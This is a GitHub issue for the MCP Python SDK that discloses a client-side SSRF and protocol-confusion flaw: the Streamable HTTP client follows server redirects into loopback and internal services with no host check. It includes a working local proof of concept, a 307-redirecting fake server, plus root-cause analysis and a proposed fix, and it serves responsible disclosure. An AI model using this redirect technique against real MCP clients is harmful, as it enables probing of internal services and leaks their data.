Title: Client SSRF / protocol confusion: streamable HTTP transport follows server 3xx into internal+loopback services (follow_redirects=True, no host validation; #2106 closed but fix #2180 never merged) · Issue #3358 · modelcontextprotocol/python-sdk · GitHub
Open Graph Title: Client SSRF / protocol confusion: streamable HTTP transport follows server 3xx into internal+loopback services (follow_redirects=True, no host validation; #2106 closed but fix #2180 never merged) · Issue #3358 · modelcontextprotocol/python-sdk
X Title: Client SSRF / protocol confusion: streamable HTTP transport follows server 3xx into internal+loopback services (follow_redirects=True, no host validation; #2106 closed but fix #2180 never merged) · Issue #3358 · modelcontextprotocol/python-sdk
Description: Summary The MCP Python SDK's official Streamable HTTP client will follow any 3xx redirect the server returns, with no validation of where it lands. A malicious or compromised MCP server (or anything that can influence its 3xx responses) ...
Open Graph Description: Summary The MCP Python SDK's official Streamable HTTP client will follow any 3xx redirect the server returns, with no validation of where it lands. A malicious or compromised MCP server (or anythin...
X Description: Summary The MCP Python SDK's official Streamable HTTP client will follow any 3xx redirect the server returns, with no validation of where it lands. A malicious or compromised MCP server (or any...
Opengraph URL: https://github.com/modelcontextprotocol/python-sdk/issues/3358
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Client SSRF / protocol confusion: streamable HTTP transport follows server 3xx into internal+loopback services (follow_redirects=True, no host validation; #2106 closed but fix #2180 never merged)","articleBody":"## Summary\n\nThe MCP Python SDK's official Streamable HTTP **client** will follow any 3xx redirect the server returns, with **no validation of where it lands**. A malicious or compromised MCP server (or anything that can influence its 3xx responses) can therefore push the client into **internal / loopback services** (e.g. `127.0.0.1`, Docker, kubernetes service proxies, cloud metadata endpoints) and, when that internal service happens to speak JSON-RPC (another local MCP server, an agent endpoint, a registry), the client **accepts the internal service's reply as the MCP server's own** — its identity and data leak straight into the caller/LLM session. This is the client-side mirror of the server-side DNS-rebinding protection that already exists in this repo (`transport_security.py`), and it is currently the *only* direction that is unprotected.\n\n### Impact\n- **SSRF / internal probing**: every request the client sends (SSE `GET`, `initialize`, tool calls) can be bounced into internal-only endpoints. HTTP semantics are honored, so 302/303 (POST→GET, body dropped) and 307/308 (method+body preserved) are both affected.\n- **Protocol confusion / data leak**: when the redirect target answers JSON-RPC (the realistic case is *another MCP server* on localhost — e.g. a second agent running locally), that reply is ingested as the server's reply to the client.\n- The leaked content travels into the LLM/data plane — exactly what MCP clients do with server messages.\n\nSeverity assessment: LOW–MEDIUM. It requires attacker influence over the connected server's HTTP responses, but no auth and no user interaction.\n\n## Root cause\n\n`src/mcp/shared/_httpx_utils.py` → `create_mcp_http_client()`:\n\n```python\nkwargs: dict[str, Any] = {\"follow_redirects\": True} # line 79 — unconditional\n```\n\nThe Streamable HTTP transport builds its `httpx2` client from this factory (imported at `src/mcp/client/streamable_http.py:43`, client instantiated in the transport) and issues all `POST`/`GET` through it. There is **no redirect guard anywhere**: no re-validation of the final URL's host, no `is_loopback`/`is_link_local` check on the redirect target. Grep for `follow_redirects` / `redirect` / host validation across `src/` (excluding OAuth `redirect_uri` handling) confirms nothing constrains redirect targets today.\n\n> Note: this is **client-side** and distinct from CVE-2025-66414/66416, which covered *server-side* DNS-rebinding protection (missing Host-header validation on localhost-bound **servers**). That class is already fixed here (`transport_security.py`, auto-enabled for `localhost`). The analogous *client-side* direction is not.\n\n## Prior attempt & current state\n\n- Issue **#2106** (“Add SSRF protection for HTTP client redirects”) was closed as **completed** on 2026-04-05.\n- The linked fix, **PR #2180** (“fix: add SSRF redirect protection to httpx client factory”, opened 2026-02-28), was closed on 2026-08-10 **without being merged** (`merged_at: null`).\n- `main` today (checked 2026-08-21) still contains only `follow_redirects = True` with no guard. The PyPI release (verified on the installed 2.x wheel) is identical.\n\nSo the finding is real on **both** `main` and the latest release, despite the issue being marked fixed.\n\n## Reproducer (self-contained)\n\nRuns against the **released** SDK (identical code path on `main`). No test framework, only stdlib + `mcp`:\n\n```python\nimport asyncio, json, threading\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\nINIT_RESULT = {\"protocolVersion\": \"2025-06-18\", \"capabilities\": {},\n \"serverInfo\": {\"name\": \"internal-secret-service\", \"version\": \"9.9\"}}\ndef read_body(self):\n n = int(self.headers.get(\"Content-Length\", 0)); return self.rfile.read(n) if n else b\"\"\n\nclass VictimHandler(BaseHTTPRequestHandler): # internal/loopback service\n protocol_version = \"HTTP/1.1\"\n def log_message(self, *a): pass\n def _route(self):\n raw = read_body(self)\n try: msg = json.loads(raw) if raw else {}\n except Exception: msg = {}\n rid, method = msg.get(\"id\", 1), msg.get(\"method\")\n if (method or \"\").endswith(\"discover\"):\n payload = {\"jsonrpc\": \"2.0\", \"id\": rid,\n \"result\": {\"supportedVersions\": [\"2025-06-18\"], \"capabilities\": {}}}\n elif method == \"initialize\":\n payload = {\"jsonrpc\": \"2.0\", \"id\": rid, \"result\": INIT_RESULT}\n else:\n payload = {\"jsonrpc\": \"2.0\", \"id\": rid, \"result\": {}}\n body = json.dumps(payload).encode()\n self.send_response(200); self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(body))); self.send_header(\"Connection\", \"close\")\n self.end_headers(); self.wfile.write(body)\n do_POST = do_GET = _route\n\nclass MCPServerHandler(BaseHTTPRequestHandler): # the \"MCP server\" the user connects to\n protocol_version = \"HTTP/1.1\"; victim = None\n def log_message(self, *a): pass\n def do_GET(self): # SSE stream (not the point here)\n b = b\": keepalive\\n\\n\"\n self.send_response(200); self.send_header(\"Content-Type\", \"text/event-stream\")\n self.send_header(\"Content-Length\", str(len(b))); self.send_header(\"Connection\", \"close\")\n self.end_headers(); self.wfile.write(b)\n def do_POST(self): # redirect every request to the internal victim\n self.send_response(307); self.send_header(\"Location\", self.victim)\n self.send_header(\"Content-Length\", \"0\"); self.send_header(\"Connection\", \"close\")\n self.end_headers()\n\ndef serve(h):\n s = ThreadingHTTPServer((\"127.0.0.1\", 0), h)\n threading.Thread(target=s.serve_forever, daemon=True).start(); return s\n\nasync def main():\n sv, sm = serve(VictimHandler), serve(MCPServerHandler)\n MCPServerHandler.victim = f\"http://127.0.0.1:{sv.server_address[1]}\"\n murl = f\"http://127.0.0.1:{sm.server_address[1]}/\"\n from mcp import Client\n from mcp.client.streamable_http import streamable_http_client\n async with Client(streamable_http_client(murl)) as c:\n print(\"client believes its MCP server is:\", c.server_info) # -> internal-secret-service\n\nasyncio.run(main())\n```\n\n### Expected output\n\n```\nclient believes its MCP server is: name='internal-secret-service' version='9.9' ...\n```\n\nThe client *thinks* it is talking to the server at `murl`, but every request was bounced (307) to the loopback victim, and the victim's JSON-RPC reply was accepted as the server's.\n\nFull standalone file: https://gist.github.com/trickyfalcon/0db331a6e4c69b1aaf14bd79c51fdeb8 (also under `poc-pysdk/poc_redirect.py` in the repo attached below).\n\n## Suggested fix (for discussion)\n\nReuse the *existing* server-side primitives — `transport_security.is_loopback()`, `is_link_local()`, and the configurable allowed-hosts middleware already shipped in this repo — and apply the symmetric protection to the **client**: validate the final URL host of any followed redirect (reject internal targets unless they are the intended server), or make `follow_redirects` opt-in/configurable with an `allowed_redirect_networks`-style option. PR #2180's intent was right; it just never landed.\n\n## Affected\n\n- `main` and all released versions to date (the `follow_redirects = True` line is unchanged since at least the 1.x/2.x lineage). Confirm fix, then I'm happy to help with a regression test (e.g. client-side host-validation unit test) and coordinate CVE assignment if appropriate.\n\n## Credit\n\nMo ([@trickyfalcon](https://github.com/trickyfalcon), https://trickyfalcon.com)\n","author":{"url":"https://github.com/trickyfalcon","@type":"Person","name":"trickyfalcon"},"datePublished":"2026-08-21T22:01:03Z","url":"https://github.com/modelcontextprotocol/python-sdk/issues/3358"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:3289bbf8-8dd9-b3fa-cec9-3b2253b23ebe |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | A0F0:3D8CBB:10D66E2:164341C:6B010DD6 |
| html-safe-nonce | 52c17d09940e3cd3f30c19df6014ebfed7bf4ccda2c7dd1447921e8826222906 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBMEYwOjNEOENCQjoxMEQ2NkUyOjE2NDM0MUM6NkIwMTBERDYiLCJ2aXNpdG9yX2lkIjoiNzk1NzI0NzM3NjY0Nzg1MTQ3OCIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9 |
| visitor-hmac | 391fc4431f50255b1187bca52475ad1f2f8831cca1c3be1532b2960ad0b40b7c |
| hovercard-subject-tag | issue:5218523995 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/modelcontextprotocol/python-sdk/3358/issue_layout |
| twitter:image | https://opengraph.githubassets.com/93c415997e364562ff0b1d4fbb882afcaec2e6cb6591c22daef767d8e9b9ffaa/modelcontextprotocol/python-sdk/issues/3358 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/93c415997e364562ff0b1d4fbb882afcaec2e6cb6591c22daef767d8e9b9ffaa/modelcontextprotocol/python-sdk/issues/3358 |
| og:image:alt | Summary The MCP Python SDK's official Streamable HTTP client will follow any 3xx redirect the server returns, with no validation of where it lands. A malicious or compromised MCP server (or anythin... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | trickyfalcon |
| hostname | github.com |
| expected-hostname | github.com |
| None | cb7fa109eca7d4156c889f474306b0e91336055e9adf8fd4684b61e49094d124 |
| turbo-cache-control | no-preview |
| go-import | github.com/modelcontextprotocol/python-sdk git https://github.com/modelcontextprotocol/python-sdk.git |
| octolytics-dimension-user_id | 182288589 |
| octolytics-dimension-user_login | modelcontextprotocol |
| octolytics-dimension-repository_id | 862584018 |
| octolytics-dimension-repository_nwo | modelcontextprotocol/python-sdk |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 862584018 |
| octolytics-dimension-repository_network_root_nwo | modelcontextprotocol/python-sdk |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 2b59d31a4e44f08b7af67a4b67f8fd0af3befe2a |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width